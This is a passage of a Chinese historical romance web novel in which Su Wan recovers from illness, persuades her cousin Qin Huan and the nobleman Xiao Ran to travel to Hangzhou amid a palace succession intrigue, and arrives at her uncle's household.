他伸出手，轻轻握住她冰凉的指尖，温热的触感让她找回了一丝真实感。然而那梦中纠缠不清的景象，像藤蔓般缠绕着她，挥之不去。
苏绾抓着头发，努力回想梦中发生的一切，却发现记忆如水中月影，愈想抓住，愈发模糊。前世今生，种种纠葛像是一张交织的网，裹挟着她，令她辨不清虚实。
宽厚的胸膛贴近，将她轻轻揽入怀中，手掌缓缓拍抚着她的背，好似安抚受惊的玉兔。
“你刚醒，先别想那么多，等身体恢复了再说。”
苏绾依偎在他的怀里，感受到温热的体温和熟悉的气息，心中的恐惧渐渐退去。她稍稍抬起头，问道：“我睡了多久？”
秦欢垂眸看她，轻声答道：“不久，也就两个多月。”
苏绾并非整整两个月都处在沉睡不醒的状态。事实上，她最初昏迷了七日，随后茫然醒来，却只苏醒了一具行尸走肉的躯壳。
她的灵魂仿佛被抽离，两眼空洞无神，任由无霜和春婵如何呼唤，也没有任何反应。她不吃不喝不言语，仅靠婢女一点点哺喂碎米粥，勉强维持生命体征。
这样的日子持续了数日，苏绾又一次昏厥过去，整整七日不省人事。再次醒来时，依旧重复着之前的状态，浑浑噩噩，眼神涣散，灵魂不知所处。
如此反复多次，直至金秋九月，刺骨的冷风从窗缝灌入，才将她彻底吹醒，她的眼中终于有了神采，久违的清明重新浮现。
无霜激动得热泪盈眶，扑到苏绾的床前，哽咽道：“小姐，霜儿以为再也见不到你了！”
过去无数个日夜，无霜寸步不离地守在榻边，流着眼泪呼唤着小姐，如今总算守得云开见月明。
无霜抹了抹眼泪，休整了一番情绪，将晴雷和文竹的事情告诉了苏绾，“小姐，文竹背叛了您。他和晴雷一起走了，再也没回来。”
这两个月来，无霜朝夕蹲守院门口，期盼着那两个人的身影早日归家。可她望穿秋水，也没能等来一个结果。
无霜觉得自己被世界抛弃了，没有人在乎她的感受。她终日以泪洗面，形容枯槁，宛如怨妇一般。
后来连春婵都看不下去了，急得跺脚道：“我去把那两个人绑回来，省得你天天哭！”
无霜摇了摇头。
找不回来的，他们的心已经不在这里了，她又有什么办法呢？
果然如文竹预料的那样，苏绾听闻此事后，并未丝毫责怪。相反，她的神色平静，甚至还带着几分释然。
“文竹能为自己活一次，我很高兴。希望他此行能有所收获，不辜负他的人生。”
无霜咬着嘴唇，一声不吭。
一旁春婵冷哼了一声，“文竹走了，晴雷也走了，院子里就剩我们三人相依为命。小姐，这天下还有谁值得您去相信？”
有谁值得信任？
苏绾垂下眼睑，手指轻轻拂过床边的被褥，往事一幕幕浮现脑海。
能相信的人，从一开始就只有自己。
在秦欢的悉心调养下，苏绾的身体逐渐康复，面色也红润了不少。她甚至恢复了几分往日的机敏与锋芒，偶尔还能同萧染斗上几句嘴。
萧染被她怼得气急败坏，一手叉腰，一手挠头，忍不住喊道：“早知道你嘴巴这么厉害，当初就不该让秦欢救醒你！继续当个睡美人多好，安静又省心！”
苏绾翻了个白眼，“我偏不如你的意！不做亏心事，不怕鬼敲门。你心里有鬼，当然怕别人揭穿。怎么，你这是变着法儿要害我？”
她嘴上犀利，心里积满了愤怒与恨意，却不知道自己该恨谁。满腔的愤懑与嗔恚，只管尽数倾泻到萧染身上，谁让曾对她出言不逊，几次三番威胁她性命。
萧染觉得十分冤枉，满脸无奈道：“从头到尾，我可是尽心尽力促成你们俩的好事。你怎么不想想，在山寨的时候，我还给你们主持了婚礼，让你俩入洞房！如今他落水溺亡了，跟我有什么关系？又不是我推的他！”
一语如晴天霹雳。
她的心中翻江倒海，面上却仍强自镇定，冷冷一笑：“你还有脸提从前的事？当初追杀我的人，不就是你吗？你就不是个好人！什么小侯爷，朝廷可曾真正让你认祖归宗？不过是当成手里的一把刀，哄着你替他们干那些伤天害理的龌龊事，然后拍拍手将你丢开，撇得干干净净。你真以为他们在乎你？不过是没人爱的一颗弃子罢了。”
字字诛心，直击萧染的痛处。他的脸色瞬间阴沉下来，细长的眼眸微微眯起，藏着一丝难以言明的情绪。他猛地上前一步，逼近苏绾，身影压下，气息几乎笼罩住她，带着些许凌厉与压迫
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“我的事，不用你管。”他低声道，语气中透着几分危险。
言毕，萧染一甩襕衫的袖子，动作带起一阵微风，转身大步离去。
背后的佳人，眼神中闪过一丝几不可察的狡黠。
她离真相，愈来愈近。
自黄河一役后，温如初和温念丢盔卸甲，狼狈逃回京城。朝堂上，皇帝询问南下杭州钦差一事，温如初却守口如瓶，仅含糊说道：“黄河途中遭遇暴风雨，渡船倾覆，多亏侍从相助方才侥幸脱身。”
对于时枫的生死，他也一笔带过，“时将军英勇护卫，风雨中不幸罹难，葬于鱼腹。”
皇帝闻言，不由感叹时枫殉国之忠，追封其为一品“威武将军”，以表彰其功勋，并令其灵位与早在两年前追封为一品“神武将军”的兄长时樾并列，供于太庙，以慰英灵。
那场南下的风波，自此在朝堂上再也无人提起，仿佛被黄河的波涛一并吞没。
月色朦胧，秋意正浓。
秦欢独自坐在书房，面前摊开的宣纸上，是他一遍又一遍书写的药方。经历黄河之变后，苏绾的病情愈发棘手。白日里精神尚且看似正常，夜晚常常噩梦惊醒，频频失眠。他也曾尝试用过几次猛药，效果却微乎其微。
苏绾的病根不在身，而在心。
自她清醒以来，绝口不提任何与时枫相关的信息。甚至连“时枫”这个名字，都仿佛从她的世界抹去。她不问他为何落水，也不追究他溺亡的细节。
对秦欢而言，这种刻意的沉默，让人分不清是好事，还是坏事。
忽然书房的门被猛地推开，萧染怒气冲冲地闯了进来。他挥舞着手臂，宣泄怒火和不满：“你也不管管她？整天拿话噎我，真是一只牙尖嘴利的狐狸！”
他靠在窗台上，双臂交叉揣在袖中，气得脸色涨红，连身子都微微发抖。
秦欢头也不抬，淡淡道：“谁让你嘴笨得像只虾蟆，我可管不着。”
萧染气得语塞，瞪了他一眼，“你！……算了！”
他咬牙切齿，攥拳半天憋不出话反驳，倒真像只笨嘴虾蟆，气得肚子圆鼓鼓。
“虾蟆”肚皮鼓了半日，也无人理睬，只好自己泄了气，转而谈及其他话题：“不过你不觉得不对劲吗？关于‘两个温如初’这件事，她这个当事人只字不提，难道你就不好奇真相？”
真相如何，秦欢心中了然。世间绝无两片相同的叶子，更不可能存有两个完全一致的人。那个从背后浮现的“谋士”，应是温如初无疑，或许更确切得说，是另一个时空的温如初。
其中的曲折与玄机，他虽心存揣测，却无法窥见全貌。不过既然自己能于乱世中重生，温念当然也有可能跨越时空。
只是不知道，这个温念，上一世究竟走了多远，又是带着怎样的算计，来到这一世。
当初自己命丧温念之手时，那些熟悉的面孔，苏绾、时枫、皇帝、皇后等等，皆尚在人间。而此后的世道变局，已非他所能预料。
有一点他很确定：苏绾一定知道得更多。
她不提时枫，不问温如初，甚至连一丝好奇都未显露，仿佛与她毫无干系。
这份刻意的疏离与沉默，只能说明一件事——她知情，却不愿面对，更不愿承认。
秦欢心中叹然，强求不得，也无须多言。他只能静静等待，等待苏绾主动卸下心防。
窗外冷风萧瑟，庭前黄叶纷飞。
两人相对无言之际，书房内却又骤然多了一抹倩影。
苏绾跨进门，脸上挂着盈盈笑意，“表哥，我有一个小小提议。”
“咱们动身南下杭州，赶在年节前去探望我的舅舅，你的姨父，好不好？”
93. 动身
秋月穿过竹帘，洒在苏绾的脸上，明明灭灭的光影间，透出一抹若隐若现的兴奋。
秦欢将手中狼毫轻轻搁在案上，身子向椅背靠了靠，握着两手问她：“怎么忽然想去杭州？”
苏绾莞尔道：“杭州素有‘人间天堂’的美称，西湖烟雨，灵隐钟声，我早就想一睹其盛。再者，西湖龙井名冠天下，不亲自尝上一口，岂不辜负此生？”
然而她的一番热情推介，并没有说服秦欢，“杭州虽风景宜人，然山高水长路迢迢，别处山水入不了你的法眼吗？你想不想去徽州看鱼灯？”
见苏绾摇摇头，秦欢垂下眼眸，脸色略显忧虑，“你与苏夫人素来不睦，此番贸然前去，人生地不熟的，我担心她会暗中对你使绊，惹你伤心难过。”
杭州并不是一处安全地方，那里危机四伏，无论是殷潜，还是苏夫人，都令他感到隐隐不安。
苏绾道：“苏夫人虽已与父亲和离，但她终究是苏家嫡母，名义上还是我的长辈。打断骨头连着筋，她便是心存嫌隙，也不至于做得太过。”
顿了顿，她眨了眨星眸，带着几分狡黠的笑意：“更何况，有表哥为我撑腰，她若真敢为难我，岂不是自讨没趣？”
秦欢不置可否，只是定定看着她，像是要透过那双清澈的眼睛，窥见她未说出口的秘密。可苏绾神情如常，波澜不惊，似乎已将一切都掌控在手。她的心，被重重枷锁封住，深藏于不见天日的海底。
萧染忍不住冷笑出声：“你这只狡猾狐狸，心里打的什么算盘，以为我们看不出来？”
他抱臂倚在窗棂上，目光幽幽地盯着苏绾，揶揄道：“我猜，你不过是想借机投奔殷潜，为自己谋一条后路罢了。”
“不会说话可以不说！”苏绾冷笑道：“萧小侯爷，你自诩聪明一世，未免太小瞧我了。我若真落魄到，须投机取巧，认贼作父的地步，倒是辱没了苏家门楣。”
眸色一沉，语气转为严肃：“我去杭州，实是为了表哥的前程。”
萧染一怔，满脸不可置信：“为了秦欢？你是真敢胡说八道！怎么不说是为了我呢？”
话一出口，他自己先愣住了，随即脸色涨得通红，尴尬地转过头去。
苏绾翻了翻白眼，懒得理会他，缓步走到案几旁，纤手轻拨香炉上的灰烬。炉中白烟袅袅升起，笼罩清丽面庞，显得更加难以捉摸。
“贵妃与皇后素来不睦，这一点你们比我更清楚。如今皇后怀胎在身，一旦诞下皇子，太子储位岌岌可危。而皇后得势，贵妃与太子将处处受制。若我们不趁早未雨绸缪，迟早会陷入困难险境。”
她的眸光一敛，“殷潜身居高位，他的立场至关重要。我此行赴杭州，正是为了说服殷潜表明态度，助力贵妃，保太子之位。这不仅是为了贵妃，也是为了你们秦氏一族，更是为了我自己。”
复又眼神一哀，“覆巢之下，焉有完卵？我今寄人篱下，尚能苟且偷生，他日若表哥家败势微，我又怎能置身事外？”
这一番话环环相扣，切中时局要害，连秦欢，都为她的思虑深远而感到深深地震撼。
然而，他终究不能盲目听从苏绾一家之谈。局势错综复杂，稍有不慎，便会将她推入深渊。
秦欢垂眸，语气淡然：“话虽如此，然则天子之命，又岂是一家之言能左右？朝堂风云诡谲，局势瞬息万变，其中暗藏的杀机，不是你能够掌控的。”
苏绾纤指随意拂过香炉上的灰烬，又轻轻弹落案几，仿佛在心中盘算着棋局。
良久，她才淡淡开口：“仅靠殷潜确实不够，朝堂斗争从来不是单靠一人之力，还须有兵权加持。我心中已有计较，只是眼下时机未到，暂且不谈。”
秦欢默然，他比谁都清楚，太子废储，贵妃失势，几乎是板上钉钉的事。他唯一能做的，是在局势彻底崩坏之前，请求皇帝准许贵妃返回青州乡下，从此远离权斗纷争。
可苏绾显然不甘心随波逐流。
“贵妃吉人自有天相，我等不过闲云野鹤，不必插手这些宫闱之事。”秦欢试图劝她放弃。
苏绾玉手推开香炉，发出一声难听的声响。她抬眸直视秦欢，“贵妃独处深宫，后方孤立无援。若太子被废，贵妃难逃冷宫之厄。到那时，太子殿下遭构陷，沦为阶下囚，贵妃叫天不应，叫地不灵，悔之晚矣。”
萧染正听得入神，闻听此言，猛地打了个寒颤，“你、你胡说些什么！冷宫、阶下囚……你也太能胡乱揣测了吧！”
苏绾冷笑一声：“自古后宫争斗，左不过就是争宠夺嫡这点破事儿，早被说书人讲烂了。我不过是揭开了，你们心底最害怕面对的真相罢了。”
“可惜，世事从来不会因人的胆怯而停止翻覆。若是一味地逃避，等到局势不可挽回之时，再亡羊补牢，又有什么用？”
秦欢听着她的分析，心中波澜起伏。他越来越感觉到，苏绾看得远，藏得深，许多秘密都是他前世今生尚未触及。“冷宫”一说，绝非空穴来风。苏绾必是掌握了某些关键线索，甚至还可能窥见了他未曾注意的危机。
还需要进一步试探她。
秦欢道：“先不说劝和殷潜，难度有几何，即便殷潜肯站队，局势也未必能逆转。圣上心意已决，废储之事恐怕难以翻盘。”
苏绾微微一笑，“不会的。圣上纵使宽仁，也不可能容忍皇后与别人私通生下的孩子。”
一语惊醒梦中人。
秦欢死死盯着苏绾，“你这话是什么意思？”
苏绾笃定道：“皇后诞下的孩子，若非龙种，太子便仍是储君。表哥，这么浅显的道理，难道你还不明白吗？”
这两人你一言我一语，说的都是疯话，萧染简直要抓狂，“你是说……皇后她……证据呢？”
苏绾转向秦欢：“证据不就在贵妃手中吗？”
贵妃身为医女，时常为后宫嫔妃诊治月事不调之症，偶尔也会翻阅娘娘们的宠幸记录。
某次，贵妃无意中撞见皇后与温如初在西苑里私会，二人举止亲昵，令人心生遐想。
然则贵妃是个稳重的性子，与己无关之事，她从不过问打听。
过了一段日子，皇后月事未如期而至，却令宫女守口如瓶，也不许太医院诊断。
贵妃觉得蹊跷，特意调阅了皇后的侍寝记录，惊讶地发现日期存在被篡改过的痕迹。
据贵妃多年来对皇帝龙体的观察，皇帝身体每况愈下，精力不再旺盛，后宫也未再添新嗣。
种种迹象汇聚，贵妃得出一个骇人的结论：皇后腹中的胎儿，很可能并非龙种。
恰逢苏夫人上书给贵妃，血泪控诉不孝女苏绾，指使温如初和时枫，利用权势坑害苏家，造成不可挽回的悲剧。
贵妃与时枫无甚交集，但是温如初与皇后的丑事，她却了解地清清楚楚，遂在皇后面前揭发指责二人苟且。
结果被皇后先发制人，主动向皇帝承认自己怀了龙嗣。皇帝老来得子，高兴得合不拢嘴，哪里还能听进去贵妃的劝诫。
至此，贵妃落败。
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>秦欢按着太阳穴，无奈道：“这种话，不能随意出口。即便轻而易举揭开了真相，可风暴掀起之后，谁又能承受它的余波？”
苏绾眼中似有星火跃动，“正因为风暴不可避免，我们才不能袖手旁观。太子与贵妃是秦家的根基，若根基崩塌，试问还有谁能独善其身？”
秦欢的目光沉了几分。此路险象环生，稍有差池，便是满盘皆输，他不愿意让她涉足这深不见底的旋涡。
“你可知道，这一步走错，可能会牵连整个秦氏一族？”
苏绾唇角微扬，笑意中藏着几分决绝：“若连输都不敢，又谈何翻盘？世间的每一步棋，都注定有人付出代价。而我，不想成为那个被牺牲的棋子。”
秦欢望着她那双倔强的眼眸，心中复杂至极。他既想护她周全，又不得不承认她的话并非毫无道理。
半晌，他轻叹一声：“既然你心意已决，我不会阻拦。但你必须答应我，若局势不对，立即撤回，绝不可一意孤行。”
苏绾笑意浅浅，“表哥放心，我自会量力而行。”
屋内一时沉寂，月光透过竹帘洒落，映在案几与人影之间，明暗交错。
杭州之行，势在必然。
孰料萧染当场拒绝，冷冷撇开脸：“我才不去。”
杭州远在千里之外，而江北漕帮势力发展正如日中天，他作为毒蛇堂堂主，根本无暇分身南下。
似乎没有人在意他的意见。
结果，萧染抱着满腔怨气，被半哄半劝地推上了南下的马车。
风雨兼程，行途艰辛。
对苏绾单薄的身子骨而言，路途颠簸无异于酷刑。旅途中她常常呕吐不止，高烧不退。每每夜深时分，秦欢守在她床侧，既恨自己未能拦下这场冒险，又怨自己无法为她分担苦楚。
萧染幸灾乐祸道：“早知这般折腾，还不如待在济南喝茶赏花呢。何苦自讨苦吃？”
秦欢冷冷投去一眼，萧染自觉闭了嘴。
更棘手的问题还在后头——苏绾自从渡黄河遭遇惊险后，对船只心生无尽恐惧。无论大小江河，她甫一登船便开始面色苍白，大汗淋漓，心跳加快，继而腿脚发软，甚至昏厥不醒。
为此，秦欢不得不费尽心思，绕过沿途的小溪与河流，但长江天堑，却是无论如何也绕不过去的。
无奈之下，秦欢在苏绾饮食中下了一剂安神猛药，让她沉沉昏睡了三天三夜。待船过长江，又行百里路程，苏绾方才悠悠醒转。
苏绾倚着车壁，自我调侃道：“这一招倒是挺好用，你怎么不早些使呢？”
秦欢以手帕拂去她额头的汗水，满目心疼道：“早用早升天，再这样折腾下去，迟早断送了你这条小命。”
此后他再不敢冒险，吩咐车队放缓行程，务必确保苏绾的安危。
因而，当杭州城的轮廓出现在视野尽头时，已是岁暮寒冬。
满城笼罩在淡淡的薄雾中，街巷里传来孩童的笑声，与爆竹声遥相呼应，透着年关将至的热闹气息。
苏绾掀开车帘，远远望着那雾中隐现的西湖，唇角终于浮现一抹笑意。
“表哥，这就是人间天堂吗？好美呀！”
秦欢看着她略显苍白的侧脸，忍不住戏谑道：“我这位大夫，总算亲手将你送入天堂。”
苏绾笑道：“能与表哥一同上天堂，妹妹真是三生有幸。”
秦欢食指轻叩她的螓首，“你就知道嘴贫，过几日登门拜访殷府，让你吃冷脸闭门羹，看你哭不哭鼻子。”
94. 落脚
萧染果真是个不折不扣的纨绔子弟。
这一路南下，他挥金如土。铺张浪费的行径，让秦欢几次皱眉，只是隐忍未发。
等到入了杭州城，他更是变本加厉，叫嚣着选择闹市区最繁华、最气派的客栈落脚，还理直气壮地宣称：“舟车劳顿了俩月，总得讲究点排场嘛。”
眼前的这座客栈，雕梁画栋，气派非凡。客栈正门高悬朱红匾额，上书三个鎏金大字——“碧霄居”，笔走龙蛇，苍劲有力。屋檐四角高挑，飞檐如翼，琉璃瓦在冬日的阳光中泛着冷幽幽的光泽。院落里青石铺地，四周围满了苍翠的松柏与挺拔的翠竹，清幽之中透着一股奢华的气息。
萧染负着手，缓缓迈入门槛，脸上尽是满意之色。身后的络腮胡指挥手下，搬运行李箱笼，整个队伍都是为他萧染一个人服务。
苏绾冷眼看着这一幕，忍不住讽刺道：“小侯爷真是不知人间疾苦，合着前十几年，你在山西乡下刨的那些土坷垃，都是做梦吧？”
萧染轻笑一声，“本公子自小就有贵气，命里注定享福。苏大小姐要是看不惯，可以住路边茶棚，咱们各住各的，互不相干。”
说罢，他一甩襕衫衣摆，趾高气扬趸进了大堂，活脱脱一副世家公子的架势。
掌柜的见到如此排场的客人，立刻满脸堆笑，亲自迎了上来，拱手作揖：“贵客光临，小店蓬荜生辉！”
店小二弓着腰，前方引路，“这边请，这边请。女眷厢房在二楼，清静幽雅；男宾房间在一楼，出入便利。”
苏绾等人走上二楼，她刚进房间，便一头扑倒在雕花床榻，身子陷入绣满山水的床幔下，舒展着酸痛的四肢，慵懒地吩咐道：“无霜，去叫水来，我要沐浴。”
无霜和春婵两个小丫头忙不迭地下楼张罗热水。小厮说着吴侬软语，这两人听得一头雾水。
“嬷嬷讲勒点细水来～”
春婵满脸茫然，回头看向无霜：“嬷嬷是叫你，还是叫我？什么细水？莫不是让咱俩下河挑水？”
无霜也不明白，“兴许是让咱们先等着。”
二人如此合计，小厮掩嘴偷笑，最后还是比划着将浴桶和热水送到房间里，才算解决了误会。
浴桶准备妥当，水面漂浮着几片舒筋活血的花瓣，氤氲的水汽升腾，弥漫了整个房间。
苏绾解开外衣，露出一身冰肌玉骨，玉足轻轻没入水中。温热的泡澡水，瞬间驱散了一路的疲惫与寒意。
她闭上眼，仰头靠在浴桶边缘，长长地舒了口气，喃喃道：“总算是走到了。”
光影在眼角流转，隐约又捕捉到梦里的那抹玄色身影。指尖泛起酥麻的触感，顺着经脉直达心底，一扯一扯地疼。
苏绾自鼻腔里长长呼出一口气，翻了翻身体，换了个角度，努力将那抹身影从脑海里排除。
她没空想那么多。
沐浴完毕，苏绾从浴桶中坐起身，肌肤被热气熏得透着一层淡粉，宛若初春的桃花。她拍着木桶，轻声呼唤：“无霜，进来更衣。”
等了半晌，无人应答。
此刻无霜和春婵正忙着在楼下同小厮比划，询问哪里有上好的胰子可用。两人听不懂吴语，又不好意思直说，对着小厮的手势胡乱猜测，脸上写满了迷茫。
房内的苏绾等了许久，仍不见人来。她无奈地叹了口气，只好自己站起身，翻身跨出浴桶，离开隔间寻找衣物。
翻遍了衣柜，只找到一件金莎褙子。新的衣裳不知被放置何处，换下来的旧衣被无霜拿去洗涤，眼下手头竟无一件像样的可以遮蔽的衣物。
她穿上褙子，金线织就的纹样，在天光下隐隐流转。褙子轻薄宽松，掩不住肩颈如雪，纤腰盈盈一握。湿润的长发尚未完全干透，乌黑的发丝垂落锁骨两旁，衬得肌肤更加白嫩，吹弹可破。
苏绾随手拨弄湿发，目光落向窗边，那枚镶着墨玉的指环，正静静地躺在窗台。
他送给她的，定情信物。
她从不离身，只在沐浴时短暂脱下，放置在显眼的位置。
她伸手去取指环，刚抓在手里，还未套进指间，忽然脚底一滑，手指不由自主一甩——
指环飞了出去。
糟糕！那个家伙说了，倘若她把指环弄丢了，他绝不会饶过她！
苏绾脸色骤变，急忙探身到窗外张望。楼下是一片修剪整齐的绿草地，恰好也是一楼男宾出门透气的地方。
偏偏好巧不巧，萧染站在楼下，望着花丛中的倦鸟出神。下一刻，他感到头顶一痛，被什么东西砸了一下。他下意识摸了摸脑袋，抬头仰望，正对上苏绾探出窗外的身影。
此刻苏绾衣襟微敞，浴后的水汽未散，几缕湿发贴在脸颊边，眉眼间透着几分不经意的风情。金莎褙子半掩香肩，肌肤如凝脂般莹润，阳光映在她的眸中，闪烁着淡淡的柔光。
萧染的脑子嗡的一声炸裂，身体急剧升温，鼻尖一热，竟然流了鼻血！
他赶紧低头捂住鼻子，袖口死命地擦拭。
真他奶奶的丢人！
萧染恼羞成怒，抬手一指苏绾，“你想谋杀我吗？！”
苏绾看着他的窘态，忍不住勾唇轻笑，又觉得自己理亏，赶紧收敛神色，缩着身子问道：“你看见我掉的东西了吗？”
萧染四下环顾，很快瞧见草地上躺着那枚金戒指，顶端一颗墨玉在阳光映照下，闪烁着柔和的绿光。
他弯下腰，捡起戒指握在手心，翻来翻去地检查，嘴角一撇，“哪里来的破烂儿货，一文不值。”
苏绾脸色微变，“快些还我！”
萧染望向楼上的她，看她略显狼狈却娇俏的模样，眉眼中满是恼怒与尴尬。他心头微微一动，懒洋洋地拖着长音：“你让我还，我就还，那我多没面子？”
“你！”苏绾气得咬牙，双手扶住窗沿，身子又探出了几分，恨不得跳下去抢回指环。
萧染见状，眼中闪过一抹坏笑，故意将指环在手中抛了抛，又背在身后，歪着头睐着她，“东西在我手里，你急也没用。”
说着，他假装认真地端详戒指，装模作样地感慨：“啧啧，这戒指做工也太粗糙了，难怪从天上掉出来都没人抢。你还当做宝贝，不如趁早丢掉！”
苏绾又气又急，脸颊涨得通红，手指紧紧攥着窗沿，声音颤抖：“萧染，你个混蛋！”
萧染见她真地动了气，越发觉得有趣，扬着眉头挑衅：“我偏不还，你奈我何？”
正当他玩得起劲时，耳边响起一道冷冷的声音，仿佛一桶冰水当头泼了下来：“你在胡闹什么？”
萧染猛地一僵，转头看去，秦欢不知何时已站在不远处，神色冷峻。
萧染吐了吐舌头，像做错事的孩子一般，飞快将戒指抛向秦欢，转身撒腿便跑：“给你给你。”
戒指划过一道弧线，被秦欢稳稳接住。他低头看着手中的戒指，指腹轻轻摸索着顶端的墨玉，目光渐渐沉了下来。
这种玉料，他在不同时间不同场合都见过，而其佩戴者唯有一个人。
秦欢抬头看了眼楼上的苏绾，又低头看了看戒指，将戒指握在手心，转身默默离去。
当无霜和春蝉高高兴兴捧着胰子上楼时，苏绾正坐在窗边，懊恼地盯着地板发呆。
她抬眸看见无霜，满目寒云骤然消散，淡声吩咐：“准备一下，咱们要去‘楼外楼’用膳。”
“楼外楼”坐落在西湖之畔，游客可凭栏远眺湖光山色，四时景致尽收眼底。自开业以来，名满江南，无数文人墨客慕名前来，推杯换盏，吟诗作赋，将这里推上了“天下第一楼”的地位。
正值晚膳时分，客栈门前的长街挤满了等位的宾客，吆喝声、笑谈声不绝于耳，到处洋溢着年节将至的热闹气氛。
萧染早早订下了二楼的雅间，透过雕花窗棂，欣赏西湖的波光粼粼与远山如黛。雅间内陈设古朴，案几上摆着青花瓷瓶，插着几枝正值季节的红梅，清香幽幽，别有一番风雅。
“本公子选的地方，自然是顶顶好的。”萧染懒洋洋地倚靠椅背，嘴角噙着得意的笑。
苏绾懒得搭理他，转而欣赏窗外的风景。秦欢目光微动，低声提醒：“膳食来了。”
这俩人，从一开始就保持距离，相互间也不对话，好似情侣吵架，令萧染感到莫名其妙。
桌上摆满了“楼外楼”的招牌菜肴：一碟西湖醋鱼，鱼肉雪白细嫩，口感酸咸适中，浇上的酱汁色泽诱人；一盘龙井虾仁，晶莹剔透的虾仁，点缀着几片龙井新芽，味道清香扑鼻；还有一份东坡肉，色泽红亮，肥而不腻，入口即化。最后是一碗宋嫂鱼羹，汤汁浓稠鲜美，令人回味无穷。
萧染夹了一筷子东坡肉，眉飞色舞地嚷嚷：“嗯嗯，就这味道，值了！”
转而睇向
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苏绾，“你该谢谢本公子，不然你哪有机会吃到这么好的东西？”
苏绾慢条斯理夹起一片醋鱼：“确实不错。因为有我在，才显得你选的地方还勉强过得去。”
萧染被噎了一下，哭笑不得：“你这女人，真是半点情面都不留！”
秦欢浅酌绿茶，淡淡地开口：“再吵，菜都凉了。”
正值三人大快朵颐之际，门口忽然探进一个十二三岁的小姑娘，怀里抱着一篮盛开的鲜花。她眼睛亮晶晶的，声音甜软：“几位客官，买朵花吧？”
苏绾见她模样乖巧，招手唤她进屋。小姑娘看了苏绾一眼，连连惊叹：“姐姐长得真好看呐，像天上的仙女一样！”
苏绾笑道：“嘴倒是挺甜。”
小姑娘转头看向秦欢，又夸赞道：“这位哥哥也好生俊俏，如文曲星下凡，坐在姐姐身边，真是天造地设的一对！”
秦欢低头夹了一片菜叶。
萧染重重咳了一声：“那本公子呢？”
小姑娘瞪着他看了半天，迟疑了一下，忽然笑道：“你……像我哥哥！”
“噗——”萧染差点被茶呛住，他顺了顺胸脯，恨不得立刻将小姑娘拎出门去，“你的眼光也太差了！”
苏绾障袂偷笑，顺手挑了一支红梅，付了钱，“小妹妹，去别处卖花吧，别惹得某人气出病来。”
小姑娘得了钱，千恩万谢地退了出去。
然而小姑娘刚走到楼梯口，忽然被旁边一桌的客人拦住了去路。那人一脸油腻，满嘴酒气，伸出胖手就去抓她的小手，“小丫头，长得倒是水灵，陪爷说说话，赏你几两银子！”
小姑娘吓得脸色发白，连连挣扎：“不要啊，求求您放过我！”
苏绾正欲出声，忽然一道高瘦的身影从角落站起。那人戴着斗笠，脸隐在阴影中看不清楚，身上披着一件略显陈旧的披风，腰间悬着一柄武士刀。
他迅速跟小二结了账，经过旁边那桌时，刀光一闪，动作快如闪电。下一瞬，肥头大耳的纨绔已然惨叫着捂住手腕，轰然跌倒在地。
小姑娘趁机挣脱，提着裙子飞快跑下楼，消失在人群中。
斗笠人未曾停留，只是缓缓收刀入鞘，迈步走向门口。夕阳的余晖洒在他的背影上，显得格外寂寥。他没有回头，也没有说话，好似一阵过堂风，匆匆而过。
苏绾目送那道身影消失，百感交集：“这江湖，终究还有侠义。”
萧染撇了撇嘴，“他可真能装。”
秦欢低头饮了一口茶，目光深沉如夜，若有所思地沉默着。
酒过三巡，几人用完膳时，已是夜半。苏绾推开窗，远眺西湖，夜色如水，湖面微动，映着点点星辉，像一幅铺展开的水墨画。她提议道：“夜还长，不如到湖边走走。”
萧染摆手道：“黑灯瞎火的，有什么好逛的？我才不要去。”说罢，他踉踉跄跄地站起身，由络腮胡搀扶着离开。
西湖的夜风轻柔，带着些许湿润的凉意，吹得湖边的柳条轻轻摇曳。长廊上挂着几盏风灯，灯影沉沉夜气清。
两人并肩而行，脚步轻缓，偶有路人经过，远远瞥上一眼，又默然离去。湖水静谧，湖心三两小船摇曳，桨声点点，似一曲低沉的歌。
苏绾停下脚步，眉头微微蹙起：“我不想坐船。”
秦欢看着她，“不坐就不坐，我们走着。”
两人步上断桥，四周愈发静谧，唯有桥下湖水轻轻拍打的声音。月亮高悬，银辉洒满湖面，桥上像笼着一层淡淡的轻纱。
秦欢站在桥头，怔怔望着苏绾，忽然开口道：“我要等到什么时候，才能得到你的答复？”
苏绾微微一愣，抬眸对上他古井无波的眸子。
长久的沉默。
苏绾觉得胸口像堵着什么，眼泪不知不觉涌了出来，“对不起……”
那三个字，是秦欢最不想听到的字眼。他默默地自袖里掏出什么东西，摊开手掌递到面前。
一只小巧的金指环，顶端一颗墨玉，在月光韶华下，泛着幽幽绿光。
秦欢叹了一口气，拉过玉手，将指环轻轻套在无名指上。
“苏绾，”他酸楚道：“无论多久，我都愿意等。”
眼泪模糊了视线，苏绾缓缓转身，想说什么，却始终没有开口。
桥上的两人沉默着，只有风声和水声在耳畔回荡。
95. 登门
临近年关，天公不作美，淅淅沥沥的小雨笼罩了整个杭州城。
一路上，苏绾的心情如提线木偶般绷紧。虽说此行是她主动挑起的事端，可当车马行至殷家门前时，她反倒生出几分怯意来。她的脸面丢尽事小，连累秦欢一并受辱，才是真正难堪。
秦欢察觉她心绪不宁，低头握住她袖下露出的一只柔荑，掌心微暖，温柔安慰：“没事的，我姨母是很重礼数的人，她准不会为难你。你也不要去管别人，天塌下来，有表哥替你撑着。”
苏绾勉强笑了笑，“我与舅舅舅母从未见过面，旧年都是苏夫人返回钱塘老家探亲。第一次登门拜访，我心里咯噔咯噔的，万一他们连大门都不许我进怎么办？那可丢死人了。”
秦欢睇着她那因害怕而略微泛粉的面颊，越看越喜欢，忍不住上手捏了捏，笑道：“不怕，他们不肯开门，我就让人拿锤子砸开，今日非要你堂堂正正进他的门不可。”
苏绾拍开他的手，假嗔道：“正经些！”她嘴上如是说，心中那份忐忑，倒真被他的玩笑冲散了些许。
自从那晚断桥边的表白之后，秦欢像是放开了禁忌，表达爱意热情又直接，不再是沉默寡言的一张脸。整个人都变得活泼开朗了许多，也霸道了许多。
光是傻等着她的答复，怎么够呢？他已等待了两世，早就磨灭了耐心。
他须主动出击。
车马巍巍而至殷府，一个个礼盒从马车上抬下来，红绸包裹的箱子被整齐地码放在廊下，堆成了一座小山。管事手持礼单，细声核对，生怕有丝毫的疏漏。
众人下了马车。
萧染懒散地拢了拢披风，漫不经心道：“不得不说，这殷府的排场，倒是挺有看头的。”
苏绾微微一笑，“比不得小侯爷的排场。”
萧染被噎了一下，冷哼一声，懒得再接话。他这些日子不知为何，倒是比往日安分了许多，也不怎么与苏绾斗嘴。刚刚来时路上，他甚至刻意避开与苏绾同乘一辆马车，自己单独骑了一匹马。
殷家主母殷薛氏，带着一众仆从迎了出来。
